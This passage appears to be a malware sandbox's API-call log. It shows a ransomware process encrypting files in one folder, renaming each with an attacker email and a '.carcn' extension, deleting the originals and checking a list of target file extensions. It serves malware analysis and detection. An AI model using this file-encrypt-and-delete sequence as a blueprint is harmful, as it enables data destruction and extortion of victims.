lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.690] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.690] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0161.692] GetLastError () returned 0x0 [0161.692] ReadFile (in: hFile=0x310, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x1397e, lpOverlapped=0x0) returned 1 [0161.736] WriteFile (in: hFile=0x2d8, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13980, lpOverlapped=0x0) returned 1 [0161.738] ReadFile (in: hFile=0x310, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.738] WriteFile (in: hFile=0x2d8, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.738] SetEndOfFile (hFile=0x2d8) returned 1 [0161.738] CloseHandle (hObject=0x2d8) returned 1 [0161.740] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.740] SetEndOfFile (hFile=0x310) returned 1 [0161.741] CloseHandle (hObject=0x310) returned 1 [0161.741] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.741] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0161.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.741] lstrlenW (lpString=".doc") returned 4 [0161.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.741] lstrlenW (lpString=".docx") returned 5 [0161.741] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.741] lstrlenW (lpString=".pdf") returned 4 [0161.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString=".xls") returned 4 [0161.742] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString=".xlsx") returned 5 [0161.742] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.742] lstrlenW (lpString=".ppt") returned 4 [0161.742] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.742] lstrlenW (lpString=".zip") returned 4 [0161.742] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.742] lstrlenW (lpString=".rar") returned 4 [0161.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString=".bz2") returned 4 [0161.742] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString=".7z") returned 3 [0161.742] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.742] lstrlenW (lpString=".dbf") returned 4 [0161.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.742] lstrlenW (lpString=".1cd") returned 4 [0161.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.742] lstrlenW (lpString=".jpg") returned 4 [0161.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.742] lstrlenW (lpString=".doc") returned 4 [0161.742] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.742] lstrlenW (lpString=".docx") returned 5 [0161.742] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.742] lstrlenW (lpString=".pdf") returned 4 [0161.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.743] lstrlenW (lpString=".xls") returned 4 [0161.743] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.743] lstrlenW (lpString=".xlsx") returned 5 [0161.743] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.743] lstrlenW (lpString=".ppt") returned 4 [0161.743] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.743] lstrlenW (lpString=".zip") returned 4 [0161.743] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.743] lstrlenW (lpString=".rar") returned 4 [0161.743] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.743] lstrlenW (lpString=".bz2") returned 4 [0161.743] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.743] lstrlenW (lpString=".7z") returned 3 [0161.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.743] lstrlenW (lpString=".dbf") returned 4 [0161.743] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.743] lstrlenW (lpString=".1cd") returned 4 [0161.743] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0161.743] lstrlenW (lpString=".jpg") returned 4 [0161.743] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.743] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.743] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.744] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=79996) returned 1 [0161.744] CloseHandle (hObject=0x310) returned 1 [0161.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0161.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.744] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.744] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0161.744] GetLastError () returned 0x0 [0161.745] ReadFile (in: hFile=0x310, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x1387c, lpOverlapped=0x0) returned 1 [0162.246] WriteFile (in: hFile=0x2d8, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13880, lpOverlapped=0x0) returned 1 [0162.247] ReadFile (in: hFile=0x310, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.247] WriteFile (in: hFile=0x2d8, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0162.248] SetEndOfFile (hFile=0x2d8) returned 1 [0162.248] CloseHandle (hObject=0x2d8) returned 1 [0162.250] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.250] SetEndOfFile (hFile=0x310) returned 1 [0162.251] CloseHandle (hObject=0x310) returned 1 [0162.251] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.251] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0162.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.251] lstrlenW (lpString=".doc") returned 4 [0162.251] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.251] lstrlenW (lpString=".docx") returned 5 [0162.251] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0162.251] lstrlenW (lpString=".pdf") returned 4 [0162.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.251] lstrlenW (lpString=".xls") returned 4 [0162.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.251] lstrlenW (lpString=".xlsx") returned 5 [0162.252] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0162.252] lstrlenW (lpString=".ppt") returned 4 [0162.252] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.252] lstrlenW (lpString=".zip") returned 4 [0162.252] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.252] lstrlenW (lpString=".rar") returned 4 [0162.252] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.252] lstrlenW (lpString=".bz2") returned 4 [0162.252] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.252] lstrlenW (lpString=".7z") returned 3 [0162.252] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.252] lstrlenW (lpString=".dbf") returned 4 [0162.252] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.252] lstrlenW (lpString=".1cd") returned 4 [0162.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.252] lstrlenW (lpString=".jpg") returned 4 [0162.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.252] lstrlenW (lpString=".doc") returned 4 [0162.252] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.252] lstrlenW (lpString=".docx") returned 5 [0162.252] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0162.253] lstrlenW (lpString=".pdf") returned 4 [0162.253] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.253] lstrlenW (lpString=".xls") returned 4 [0162.253] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.253] lstrlenW (lpString=".xlsx") returned 5 [0162.253] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0162.253] lstrlenW (lpString=".ppt") returned 4 [0162.253] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.253] lstrlenW (lpString=".zip") returned 4 [0162.253] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.253] lstrlenW (lpString=".rar") returned 4 [0162.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.253] lstrlenW (lpString=".bz2") returned 4 [0162.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.253] lstrlenW (lpString=".7z") returned 3 [0162.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.253] lstrlenW (lpString=".dbf") returned 4 [0162.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.253] lstrlenW (lpString=".1cd") returned 4 [0162.253] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0162.253] lstrlenW (lpString=".jpg") returned 4 [0162.253] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.254] lstrcmpiW (lpString1=".bmp", lpString2=".carcn") returned -1 [0162.254] lstrlenW (lpString="header.bmp") returned 10 [0162.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0162.255] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3628) returned 1 [0162.255] CloseHandle (hObject=0x310) returned 1 [0162.255] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0162.255] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0162.256] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.256] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0162.256] GetLastError () returned 0x0 [0162.256] ReadFile (in: hFile=0x310, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xe2c, lpOverlapped=0x0) returned 1 [0162.279] WriteFile (in: hFile=0x2d8, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xe30, lpOverlapped=0x0) returned 1 [0162.280] ReadFile (in: hFile=0x310, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.280] WriteFile (in: hFile=0x2d8, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xe8, lpOverlapped=0x0) returned 1 [0162.280] SetEndOfFile (hFile=0x2d8) returned 1 [0162.280] CloseHandle (hObject=0x2d8) returned 1 [0162.281] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.281] SetEndOfFile (hFile=0x310) returned 1 [0162.281] CloseHandle (hObject=0x310) returned 1 [0162.282] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.282] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0162.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.284] lstrlenW (lpString=".doc") returned 4 [0162.284] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0162.284] lstrlenW (lpString=".docx") returned 5 [0162.284] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0162.284] lstrlenW (lpString=".pdf") returned 4 [0162.284] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0162.285] lstrlenW (lpString=".xls") returned 4 [0162.285] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0162.285] lstrlenW (lpString=".xlsx") returned 5 [0162.285] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0162.285] lstrlenW (lpString=".ppt") returned 4 [0162.285] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0162.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.285] lstrlenW (lpString=".zip") returned 4 [0162.285] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0162.285] lstrlenW (lpString=".rar") returned 4 [0162.285] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0162.285] lstrlenW (lpString=".bz2") returned 4 [0162.285] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0162.285] lstrlenW (lpString=".7z") returned 3 [0162.285] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0162.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.285] lstrlenW (lpString=".dbf") returned 4 [0162.285] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0162.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.285] lstrlenW (lpString=".1cd") returned 4 [0162.285] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0162.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.285] lstrlenW (lpString=".jpg") returned 4 [0162.285] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.286] lstrlenW (lpString=".doc") returned 4 [0162.286] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString=".docx") returned 5 [0162.286] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0162.286] lstrlenW (lpString=".pdf") returned 4 [0162.286] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString=".xls") returned 4 [0162.286] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString=".xlsx") returned 5 [0162.286] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0162.286] lstrlenW (lpString=".ppt") returned 4 [0162.286] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.286] lstrlenW (lpString=".zip") returned 4 [0162.286] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString=".rar") returned 4 [0162.286] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString=".bz2") returned 4 [0162.286] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString=".7z") returned 3 [0162.286] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0162.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.286] lstrlenW (lpString=".dbf") returned 4 [0162.286] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0162.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.286] lstrlenW (lpString=".1cd") returned 4 [0162.286] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0162.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0162.286] lstrlenW (lpString=".jpg") returned 4 [0162.286] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0162.287] lstrcmpiW (lpString1=".xsd", lpString2=".carcn") returned 1 [0162.287] lstrlenW (lpString="SetupUi.xsd") returned 11 [0162.287] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0162.288] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=30120) returned 1 [0162.288] CloseHandle (hObject=0x2d8) returned 1 [0162.288] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0162.288] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.290] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.290] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0162.290] GetLastError () returned 0x0 [0162.290] ReadFile (in: hFile=0x380, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x75a8, lpOverlapped=0x0) returned 1 [0162.812] WriteFile (in: hFile=0x31c, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x75b0, lpOverlapped=0x0) returned 1 [0162.813] ReadFile (in: hFile=0x380, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.813] WriteFile (in: hFile=0x31c, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xea, lpOverlapped=0x0) returned 1 [0162.813] SetEndOfFile (hFile=0x31c) returned 1 [0162.814] CloseHandle (hObject=0x31c) returned 1 [0162.814] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.815] SetEndOfFile (hFile=0x380) returned 1 [0162.815] CloseHandle (hObject=0x380) returned 1 [0162.815] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.816] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0162.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0162.816] lstrlenW (lpString=".doc") returned 4 [0162.816] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0162.816] lstrlenW (lpString=".docx") returned 5 [0162.816] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0162.816] lstrlenW (lpString=".pdf") returned 4 [0162.816] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0162.816] lstrlenW (lpString=".xls") returned 4 [0162.816] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0162.816] lstrlenW (lpString=".xlsx") returned 5 